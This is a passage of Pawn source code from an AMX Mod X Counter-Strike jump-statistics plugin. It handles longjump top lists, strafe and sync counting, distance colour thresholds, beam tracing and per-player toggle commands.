			formatex(tmp_names[i], 32, g_playername[id]);
			formatex(tmp_weap_name[i], 32, wpn_name);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			save_tops_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_weap_name);

			Color_Chat_Lang(0,NORMAL,"[^4%s^1]^4 %s^1 is now^4 %i^1 in^4 %s^1 top (weapon speed^4 %d^1) with^4 %f",prefix,g_playername[id],(i+1),type,pev_max_speed,dd);				
			
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
	return PLUGIN_HANDLED
}
public checkmap(id,Float:dd,Float:mm,Float:pp,sf,s,typ[]) 
{	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}

	for (new i = 0; i < NTOP; i++)
	{
		if( d > map_dist[i] )
		{
			new pos = i;	
			while( !equali(map_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(map_ip[j], 32, map_ip[j-1]);
				formatex(map_names[j], 32, map_names[j-1]);
				map_dist[j] = map_dist[j-1];
				map_maxsped[j] =map_maxsped[j-1];
				map_prestr[j] = map_prestr[j-1];
				map_streif[j] = map_streif[j-1];
				map_syncc[j] = map_syncc[j-1];
				formatex(map_type[j], 32, map_type[j-1]);
			}
			
			formatex(map_ip[i], 32, rb);
			formatex(map_names[i], 32, g_playername[id]);
			map_dist[i]=d;
			map_maxsped[i] = m;
			map_prestr[i] = p;
			map_streif[i] = sf;
			map_syncc[i] = s;
			formatex(map_type[i], 32, typ);
			
			save_maptop();
			
			new iPlayers[32],iNum; 
			get_players( iPlayers, iNum,"ch") ;
			for(new p=0;p<iNum;p++) 
			{ 
				new ids=iPlayers[p]; 
				if(gHasColorChat[ids] ==true)
				{	
					client_print(ids,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP5",prefix,g_playername[id],(i+1),dd,typ);	
				}
			}
			break;
		}
		else if( equali(map_ip[i], rb)) break;	
	}
	return PLUGIN_HANDLED
}
public fwdPostThink( id ) 
{
	if( g_alive[id] && g_userConnected[id] && g_pBot[id]==false)
	{
		if( g_Jumped[id] ) 
		{
			
			FullJumpFrames[id]++;
			
			static buttonsNew;
			
			static buttons;
			static Float:angle[3];
	
			buttonsNew = pev(id, pev_button);
			buttons = pev(id, pev_button);
			pev(id, pev_angles, angle);
			
			new Float:velocity[3];
			pev(id, pev_velocity, velocity);
			velocity[2] = 0.0;
			
			new Float:fSpeed = vector_length(velocity);
			
			
			if( old_angle1[id] > angle[1] ) {
				turning_left[id] = false;
				turning_right[id] = true;
			}
			else if( old_angle1[id] < angle[1] ) {
				turning_left[id] = true;
				turning_right[id] = false;
			} else {
				turning_left[id] = false;
				turning_right[id] = false;
			}
			//schetchik streifof
			if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
			&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=1;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=2;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=1;
				
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
			}
			else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
			&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
			&& (turning_left[id] || turning_right[id]) )
			{
				preessbutton[id]=true;
				button_what[id]=2;
		
				if(strafe_num[id] < NSTRAFES)
					strafe_stat_time[id][strafe_num[id]] = get_gametime();
				strafe_num[id] += INFO_ONE;
				
				if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
			}
			
			if( buttonsNew&IN_MOVERIGHT
			|| buttonsNew&IN_MOVELEFT
			|| buttonsNew&IN_FORWARD
			|| buttonsNew&IN_BACK )
			{	
				//tskFps(id);
				if(strafe_num[id] < NSTRAFES)
				{
					if( fSpeed > speed[id])
					{
						strafe_stat_sync[id][strafe_num[id]][0] += INFO_ONE; 
					}
					else
					{
						strafe_stat_sync[id][strafe_num[id]][1] += INFO_ONE;
						if(uq_istrafe && strafe_num[id]<NSTRAFES && lost_frame_count[id][strafe_num[id]]<NVAR)
							line_lost[id][strafe_num[id]][lost_frame_count[id][strafe_num[id]]]=1;
					}
					
					if(uq_istrafe)
					{
						line_erase[id][strafe_num[id]]=lost_frame_count[id][strafe_num[id]];
						line_erase_strnum[id]=strafe_num[id];
					
						lost_frame_count[id][strafe_num[id]]++;
					}
				}
				
			}
			else if(uq_istrafe && strafe_num[id]<NSTRAFES)
				strafe_lost_frame[id][strafe_num[id]] += INFO_ONE;
			
			if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
				strafecounter_oldbuttons[id] = INFO_ZERO;
			else if( turning_left[id] || turning_right[id] )
				strafecounter_oldbuttons[id] = buttons;
		}
		else
		{	
			if(sync_doubleduck[id])
			{
				new Float:velocity[3];
				pev(id, pev_velocity, velocity);
				velocity[2] = 0.0;
				
				new Float:fSpeed = vector_length(velocity);
				
				if( fSpeed > speed[id])
				{
					doubleduck_stat_sync[id][0]++;
				}
				else
				{
					doubleduck_stat_sync[id][1]++;
				}
			}
		}
	}
}
public get_colorchat_by_distance(JumpType:type_jump,mSpeed,t_dist,bool:drop_a,multiscj_a,aircj)
{
	new dist_array[5];
	
	dist_array[2]=280;
		
	if(type_jump==Type_Double_CountJump || type_jump==Type_Multi_CountJump )
	{	
		dist_array[4]=dcj_god_dist;
		dist_array[3]=dcj_leet_dist;
		dist_array[2]=dcj_holy_dist;
		dist_array[1]=dcj_pro_dist;
		dist_array[0]=dcj_good_dist;
	}
	else if(type_jump==Type_LongJump || type_jump==Type_HighJump)
	{	
		dist_array[4]=lj_god_dist;
		dist_array[3]=lj_leet_dist;
		dist_array[2]=lj_holy_dist;
		dist_array[1]=lj_pro_dist;
		dist_array[0]=lj_good_dist;
	}
	else if(type_jump==Type_ladder)
	{	
		dist_array[4]=ladder_god_dist;
		dist_array[3]=ladder_leet_dist;
		dist_array[2]=ladder_holy_dist;
		dist_array[1]=ladder_pro_dist;
		dist_array[0]=ladder_good_dist;
	}
	else if(type_jump==Type_WeirdLongJump || type_jump==Type_Drop_CountJump || type_jump==Type_ladderBhop)
	{	
		dist_array[4]=wj_god_dist;
		dist_array[3]=wj_leet_dist;
		dist_array[2]=wj_holy_dist;
		dist_array[1]=wj_pro_dist;
		dist_array[0]=wj_good_dist;
	}
	else if(type_jump==Type_BhopLongJump || type_jump==Type_StandupBhopLongJump)
	{	
		dist_array[4]=bj_god_dist;
		dist_array[3]=bj_leet_dist;
		dist_array[2]=bj_holy_dist;
		dist_array[1]=bj_pro_dist;
		dist_array[0]=bj_good_dist;
	}
	else if(type_jump==Type_CountJump)
	{	
		dist_array[4]=cj_god_dist;
		dist_array[3]=cj_leet_dist;
		dist_array[2]=cj_holy_dist;
		dist_array[1]=cj_pro_dist;
		dist_array[0]=cj_good_dist;
	}
	else if(type_jump==Type_Drop_BhopLongJump)
	{	
		dist_array[4]=dbj_god_dist;
		dist_array[3]=dbj_leet_dist;
		dist_array[2]=dbj_holy_dist;
		dist_array[1]=dbj_pro_dist;
		dist_array[0]=dbj_good_dist;
	}
	else if(type_jump==Type_StandUp_CountJump && drop_a==false)
	{	
		if(multiscj_a==0)
		{
			dist_array[4]=scj_god_dist+aircj;
			dist_array[3]=scj_leet_dist+aircj;
			dist_array[2]=scj_holy_dist+aircj;
			dist_array[1]=scj_pro_dist+aircj;
			dist_array[0]=scj_good_dist+aircj;
		}
		else if(multiscj_a==1 || multiscj_a==2)
		{
			dist_array[4]=scj_god_dist+aircj+10;
			dist_array[3]=scj_leet_dist+aircj+10;
			dist_array[2]=scj_holy_dist+aircj+10;
			dist_array[1]=scj_pro_dist+aircj+10;
			dist_array[0]=scj_good_dist+aircj+10;
		}
	}
	else if(type_jump==Type_StandUp_CountJump && drop_a)
	{	
		dist_array[4]=dropscj_god_dist;
		dist_array[3]=dropscj_leet_dist;
		dist_array[2]=dropscj_holy_dist;
		dist_array[1]=dropscj_pro_dist;
		dist_array[0]=dropscj_good_dist;
	}
	else if(type_jump==Type_Bhop_In_Duck || type_jump==Type_Up_Bhop_In_Duck)
	{	
		dist_array[4]=bhopinduck_god_dist;
		dist_array[3]=bhopinduck_leet_dist;
		dist_array[2]=bhopinduck_holy_dist;
		dist_array[1]=bhopinduck_pro_dist;
		dist_array[0]=bhopinduck_good_dist;
	}
	else if(type_jump==Type_Up_Bhop)
	{	
		dist_array[4]=upbj_god_dist;
		dist_array[3]=upbj_leet_dist;
		dist_array[2]=upbj_holy_dist;
		dist_array[1]=upbj_pro_dist;
		dist_array[0]=upbj_good_dist;
	}
	else if(type_jump==Type_Up_Stand_Bhop)
	{	
		dist_array[4]=upsbj_god_dist;
		dist_array[3]=upsbj_leet_dist;
		dist_array[2]=upsbj_holy_dist;
		dist_array[1]=upsbj_pro_dist;
		dist_array[0]=upsbj_good_dist;
	}
	else if(type_jump==Type_Real_ladder_Bhop)
	{	
		dist_array[4]=real_god_dist;
		dist_array[3]=real_leet_dist;
		dist_array[2]=real_holy_dist;
		dist_array[1]=real_pro_dist;
		dist_array[0]=real_good_dist;
	}
	else if(type_jump==Type_DuckBhop)
	{	
		dist_array[4]=duckbhop_god_dist;
		dist_array[3]=duckbhop_leet_dist;
		dist_array[2]=duckbhop_holy_dist;
		dist_array[1]=duckbhop_pro_dist;
		dist_array[0]=duckbhop_good_dist;
	}
	
	if(mSpeed != 250.0 && type_jump!=Type_ladder)
	{
		dist_array[4]=dist_array[4]-t_dist;
		dist_array[3]=dist_array[3]-t_dist;
		dist_array[2]=dist_array[2]-t_dist;
		dist_array[1]=dist_array[1]-t_dist;
		dist_array[0]=dist_array[0]-t_dist;
	}
	return dist_array;
}
public fnSaveBeamPos( client ) {
	if( g_Jumped[client] ) {
		new Float:vOrigin[3];
		pev(client, pev_origin, vOrigin);
		
		if( gBeam_count[client] < 100 ) {
			gBeam_points[client][gBeam_count[client]][0] = vOrigin[0];
			gBeam_points[client][gBeam_count[client]][1] = vOrigin[1];
			gBeam_points[client][gBeam_count[client]][2] = vOrigin[2];
			
			if(preessbutton[client])
			{
				gBeam_button[client][gBeam_count[client]]=true;
				
				if(button_what[client]==1)
				{
					gBeam_button_what[client][gBeam_count[client]]=1;
				}
				else if(button_what[client]==2)
				{
					gBeam_button_what[client][gBeam_count[client]]=2;
				}
			}
			
			if(is_user_ducking( client ))
				gBeam_duck[client][gBeam_count[client]] = true;
			
			gBeam_count[client]++;
		}
	}
}
public JumpReset(id,num)
{
	g_reset[id] = true;
	//if(num!=26 && num!=1 && num!=29)
	//ColorChat(id,GREEN,"jump reset %d",num);
}

public JumpReset1(id)
{
	g_reset[id] = true;
}
public ddReset(id)
{
	id=id-2311;
	JumpReset(id,27);
	//ColorChat(id, GREEN, "reset dd");
}
public Color_Chat_Lang(id,Color:type, const msg[], {Float,Sql,Result,_}:...)
{
	new message[256];

	switch(type)
	{
		case NORMAL: // clients scr_concolor cvar color
		{
			message[0] = 0x01;
		}
		case GREEN: // Green
		{
			message[0] = 0x04;
		}
		default: // White, Red, Blue
		{
			message[0] = 0x03;
		}
	}

	vformat(message[1], 251, msg, 4);
	
	replace_colors(message,191);
	
	ColorChat(id, type, "%s",message);
}
public cmdColorChat(id)
{	
	if( !gHasColorChat[id] )
	{
		gHasColorChat[id] = true;
		
		Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_E", prefix);
	}
	else 
	{
		gHasColorChat[id] = false;
		
		Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_D", prefix);
	}
	
	return PLUGIN_CONTINUE;
}
public cmdljStats( id ) {
	
	if(g_lj_stats[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJSTATS_D", prefix);
		g_lj_stats[id]=false;
		
		if(showpre[id]==true)
		{
			showpre[id]=false;
			oldpre[id]=1;
		}
		if(failearly[id]==true)
		{
			failearly[id]=false;
			oldfail[id]=1;
		}
		if(ljpre[id]==true)
		{
			ljpre[id]=false;
			oldljpre[id]=1;
		}
	}
	else 
	{
		if(oldpre[id]==1)
		{
			showpre[id]=true;
			oldpre[id]=0;
		}
		if(oldfail[id]==1)
		{
			failearly[id]=true;
			oldfail[id]=0;
		}
		if(oldljpre[id]==1)
		{
			ljpre[id]=true;
			oldljpre[id]=0;
		}
		g_lj_stats[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJSTATS_E", prefix);
	}
	
}


public cmdVersion( id )
{		
	Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_1", prefix,VERSION);
	
	if(kz_sql==1)
	{
		Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL1", prefix);
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL2", prefix);
	}
	else Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_2", prefix);
}
public pre_stats(id)
{	
	if(kz_stats_pre[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_PRESTATS_D", prefix);
		kz_stats_pre[id]=false;
	}
	else 
	{
		kz_stats_pre[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_PRESTATS_E", prefix);
	}
}
public streif_stats(id)
{	
	if(streifstat[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_D", prefix);
		streifstat[id]=false;
	}
	else 
	{
		streifstat[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_E", prefix);
	}
}
public cmdljbeam(id)
{
	if(ingame_strafe[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMDONTWORK", prefix);
	}
	else
	{
		if(kz_beam[id]==true) 
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_D", prefix);
			kz_beam[id]=false;
		}
		else 
		{
			kz_beam[id]=true;
			Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_E", prefix);
		}
	}
}
public show_pre(id)
{
	if(showpre[id]==true) 
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_D", prefix);
		showpre[id]=false;
	}
	else 
	{
		showpre[id]=true;
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_E", prefix);
	}
}
public show_speed(id)
{
	new tmpTeam[33],g_team;	
	get_user_team(id,tmpTeam,32);
	
	if(uq_team==0)
	{
		g_team=0;
	}
	else if(equali(tmpTeam,"TERRORIST"))
	{
		g_team=1;
	}
	else if(equali(tmpTeam,"CT"))
	{
		g_team=2;
	}
	else
	{
		g_team=uq_team;
	}
	
	if(uq_admins==1 && !player_admin[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D1", prefix);
	}
	else if(g_team!=uq_team && !uq_speed_allteam)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D2", prefix);
	}
	else
	{
		if(jofon[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D3", prefix);
		}
		else
		{
			if(speedon[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_E", prefix);
				speedon[id]=true;
				
				set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
			}
			else 
			{
				speedon[id]=false;
				
				if( task_exists(id+212299, 0) )
					remove_task(id+212299, 0);
					
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D", prefix);
			}
		}
	}
}
public trainer_jof(id)
{
	new tmpTeam[33],g_team;	
	get_user_team(id,tmpTeam,32);
	
	if(uq_team==0)
	{
		g_team=0;
	}
	else if(equali(tmpTeam,"TERRORIST"))
	{
		g_team=1;
	}
	else if(equali(tmpTeam,"CT"))
	{
		g_team=2;
	}
	else
	{
		g_team=uq_team;
	}
	
	if(uq_admins==1 && !player_admin[id])
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D1", prefix);
	}
	else if(g_team!=uq_team)
	{
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D2", prefix);
	}
	else
	{
		if(speedon[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D3", prefix);
		}
		else
		{
			if(jofon[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOFTR_E", prefix);
				jofon[id]=true;
				jof[id]=0.0;
				set_task(0.1, "Dojof", id+212398, "", 0, "b", 0);
			}
			else 
			{
				jofon[id]=false;
				
				if( task_exists(id+212398, 0) )
					remove_task(id+212398, 0);
					
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D", prefix);
			}
		}
	}
}
public speed_type(id)
{
	if(speedtype[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_B", prefix);
		speedtype[id]=true;
	}
	else 
	{
		speedtype[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_S", prefix);
	}
}
public show_jheight(id)
{
	if(jheight_show[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JHEIGH_E", prefix);
		jheight_show[id]=true;
	}
	else 
	{
		jheight_show[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JHEIGH_D", prefix);
	}
}
public show_jof(id)
{
	if(showjofon[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOF_E", prefix);
		showjofon[id]=true;
	}
	else 
	{
		showjofon[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOF_D", prefix);
	}
}
public show_early(id)
{
	if(failearly[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_E", prefix);
		failearly[id]=true;
	}
	else 
	{
		failearly[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_D", prefix);
	}
}
public multi_bhop(id)
{
	if(multibhoppre[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_E", prefix);
		multibhoppre[id]=true;
	}
	else 
	{
		multibhoppre[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_D", prefix);
	}
}
public duck_show(id)
{
	if(showduck[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_E", prefix);
		showduck[id]=true;
	}
	else 
	{
		showduck[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_D", prefix);
	}
}
public lj_show(id)
{
	if(ljpre[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJPRE_E", prefix);
		ljpre[id]=true;
	}
	else 
	{
		ljpre[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJPRE_D", prefix);
	}
}
public enable_sounds(id)
{
	if(uq_sounds)
	{
		if(enable_sound[id]==false) 
		{
			Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SOUND_E", prefix);
			enable_sound[id]=true;
		}
		else 
		{
			enable_sound[id]=false;
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D", prefix);
		}
	}
	else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D1", prefix);
}
public ShowedgeFail(id)
{
	if(Show_edge_Fail[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGEF_E", prefix);
		Show_edge_Fail[id]=true;
	}
	else 
	{
		Show_edge_Fail[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGEF_D", prefix);
	}
}
public Showedge(id)
{
	if(Show_edge[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGE_E", prefix);
		Show_edge[id]=true;
	}
	else 
	{
		Show_edge[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGE_D", prefix);
	}
}
public heightshow(id)
{
	if(height_show[id]==false) 
	{
		Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_FALLH_E", prefix);
		height_show[id]=true;
	}
	else 
	{
		height_show[id]=false;
		Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_FALLH_D", prefix);
	}
}
public ingame_st_stats(id)
{
	if(uq_istrafe)
	{
		if(kz_beam[id])
		{
			Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D1", prefix);
		}
		else
		{
			if(ingame_strafe[id]==false) 
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_E", prefix);
				ingame_strafe[id]=true;
			}
			else 
			{
				ingame_strafe[id]=false;
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D", prefix);
			}
		}
	}
	else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D2", prefix);
	
}

public client_connect( id )
{
	oldljpre[id]=0;
	oldpre[id]=0;
	oldfail[id]=0;
	g_userConnected[id]=true;
	g_pBot[id]=false;
	
	static connectt[30];
	get_pcvar_string(kz_uq_connect, connectt, 30);
	
	format(connectt, 30, "_%s", connectt);

	if( contain(connectt, "a") > 0 )
		gHasColorChat[id] =true;
	else
		gHasColorChat[id] = false;
	if( contain(connectt, "b") > 0 )
		g_lj_stats[id] = true;
	else
		g_lj_stats[id] = false;
	if( contain(connectt, "c") > 0 )
		speedon[id]=true;
	else 
		speedon[id]=false;
	if( contain(connectt, "d") > 0 )
		showpre[id]=true;
	else
		showpre[id]=false;
	if( contain(connectt, "e") > 0 )
		streifstat[id]=true;
	else
		streifstat[id]=false;
	if( contain(connectt, "f") > 0 )
		kz_beam[id]=true;
	else
		kz_beam[id]=false;
	if( contain(connectt, "g") > 0 )
		kz_stats_pre[id]=true;
	else
		kz_stats_pre[id]=false;
	if( contain(connectt, "h") > 0 )
		failearly[id]=true;
	else
		failearly[id]=false;
	if( contain(connectt, "i") > 0 )
		multibhoppre[id]=true;
	else
		multibhoppre[id]=false;
	if( contain(connectt, "j") > 0 )
		showduck[id]=true;
	else
		showduck[id]=false;
	if( contain(connectt, "k") > 0 )
		ljpre[id]=true;
	else
		ljpre[id]=false;
	if( contain(connectt, "l") > 0 )
		Show_edge[id]=true;
	else
		Show_edge[id]=false;
	if( contain(connectt, "m") > 0 )
		Show_edge_Fail[id]=true;
	else
		Show_edge_Fail[id]=false;
	if( contain(connectt, "n") > 0 )
		enable_sound[id]=true;
	else
		enable_sound[id]=false;
	if( contain(connectt, "o") > 0 )
		ingame_strafe[id]=true;
	else
		ingame_strafe[id]=false;
	
	//for beta
	//ingame_strafe[id]=true;
	
	user_block[id][0]=uq_maxedge;
	user_block[id][1]=uq_minedge;
	min_prestrafe[id]=uq_min_pre;
	beam_type[id]=1;
	edgeshow[id]=true;	
	first_ground_bhopaem[id]=false;
	donehook[id]=false;
	OnGround[id]=false;
	serf_reset[id]=false;
	first_onground[id]=false;
	duckstring[id]=false;
	firstshow[id]=false;
	height_show[id]=false;
	Checkframes[id]=false;
	firstfall_ground[id]=false;
	h_jumped[id]=false;
	touch_ent[id]=false;
	ddafterJump[id]=false;
	ddstandcj[id]=false;
	UpcjFail[id]=false;
	slide_protec[id]=false;
	posibleScj[id]=false;
	x_jump[id]=false;
	ddforcj[id]=false;
	dropbhop[id]=false;
	ddnum[id]=0;
	hookcheck[id]=false;
	backwards[id]=false;
	ladderbug[id]=false;
	touch_somthing[id]=false;
	record_start[id]=0;
	duckbhop_bug_pre[id]=false;
	showtime_st_stats[id]=40;
	speedtype[id]=false;
	trigger_protection[id]=false;
	
	if(is_user_bot(id))
	{
		g_pBot[id]=true;
	}
	
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);

	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
		
	if( task_exists(id+212299, 0) )
		remove_task(id+212299, 0);
		
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
}


public client_infochanged(id) {
	new name[65];
	
	get_user_info(id, "name", name,64); 
	
	if(!equali(name, g_playername[id]))
		copy(g_playername[id], 64, name);
}

public ResetHUD(id)
{
	if(is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id) )
	{
		if(firstshow[id]==false)
		{
			if( uq_airaccel==1 || uq_airaccel==100)
			{
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL100", prefix);
			}
			else if( uq_airaccel==0 || uq_airaccel==10)
			{
				Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_AIRACCEL10", prefix);
			}
			else 
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL", prefix,uq_airaccel);		
				
			firstshow[id]=true;
			
			if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
			{
				Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SLIDE", prefix);
			}
		}
		
		firstfall_ground[id]=false;
		h_jumped[id]=false;
		
		ddafterJump[id]=false;
		UpcjFail[id]=false;
		slide_protec[id]=false;
		posibleScj[id]=false;
		x_jump[id]=false;
		ddforcj[id]=false;
		dropbhop[id]=false;
		ddnum[id]=0;
		donehook[id]=false;
		hookcheck[id]=false;
		backwards[id]=false;
		Checkframes[id]=false;
		first_ground_bhopaem[id]=false;
		touch_ent[id]=false;
		ladderbug[id]=false;
		touch_somthing[id]=false;
		ddstandcj[id]=false;
	}
	
}
public FwdPlayerSpawn(id)
{
	if( is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id))
	{
		if( !task_exists(id+434490, 0) )
			set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
			
		g_alive[id] = true;
		strafe_num[id]=0;
	}
}

public FwdPlayerDeath(id)
{
	if( task_exists(id, 0) )
		remove_task(id, 0);
		
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
